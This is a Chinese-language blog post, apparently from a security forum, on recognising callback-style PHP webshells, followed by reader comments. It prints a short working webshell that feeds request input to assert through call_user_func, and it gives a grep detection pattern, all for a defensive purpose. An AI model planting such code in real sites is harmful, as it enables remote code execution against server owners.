如何识别回调型WebShell代码?

8 人参与

在审计 PHP 项目时,偶然在一个看似普通的入口文件里发现了 call_user_func('assert', $_REQUEST['cmd']) 这样的写法,立刻让人联想到回调型 WebShell。回调型 WebShell 的核心在于把执行入口交给外部变量,然后利用 PHP 的反射或回调机制完成代码注入,往往隐藏在业务代码的注释或错误屏蔽后面。

回调型 WebShell 的特征

与传统的直接 eval($_POST['code']) 不同,回调型往往具备以下几个“蛛丝马迹”。

  • 使用 call_user_funccall_user_func_arrayforward_static_call 等函数进行间接调用。
  • 参数来源直接指向 $_GET$_POST$_REQUEST$_COOKIE,且未做任何过滤。
  • 错误报告被关闭(error_reporting(0)@ 前缀)以掩盖异常。
  • 注释中出现 “Exception for HTTP requests”、 “@package Requests” 等与业务无关的描述,往往是攻击者的占位符。

常见的回调实现手法

攻击者会把关键函数名写成字符串变量,甚至使用 base64 编码后再解码,形成“看得见但摸不着”的调用链。下面这段代码是典型的回调型 WebShell,代码本身只有十几行,却能让远程用户随意执行任意 PHP 表达式。

<?php
error_reporting(0);
$fn = 'assert';
$param = $_REQUEST['a'];
call_user_func($fn, $param);
?>

检测思路与实战技巧

实际排查时,先用正则抓取所有 call_user_func 系列函数,再过滤掉合法的框架调用;随后检查参数来源是否直接映射到超全局数组;最后结合静态分析工具(如 PHPStan)或自研脚本,对异常的错误屏蔽语句进行标记。对于已知的“包装层”,可以在 CI 中加入 grep -R "assert.*$_(GET|POST|REQUEST)" 的检查点,防止新代码悄悄引入。

“回调型 WebShell 的隐蔽性在于它把执行权交给了看似无害的业务函数,只有细致的流向追踪才能将其揪出。”

参与讨论

8 条评论
  • 月光断层

    正则过滤感觉有点麻烦,有没有更简单的工具推荐?

    回复
  • 龙鳞守望者

    @开头错误屏蔽这种细节太实用了

    回复
  • DarkFirmware

    call_user_func这种写法确实隐蔽,之前差点漏掉

    回复
  • 床头的闹钟

    assert直接接$_REQUEST也太明显了吧

    回复
  • 夜魇之刃

    grep命令那个检查点可以加到日常流程里

    回复
  • 可爱的兔子

    回调型shell真防不胜防,得好好看看项目里有没有类似的

    回复
  • 东君

    这种检测思路对老旧项目特别有用

    回复
  • 冥火之刃

    反射机制这块可以多讲讲吗?

    回复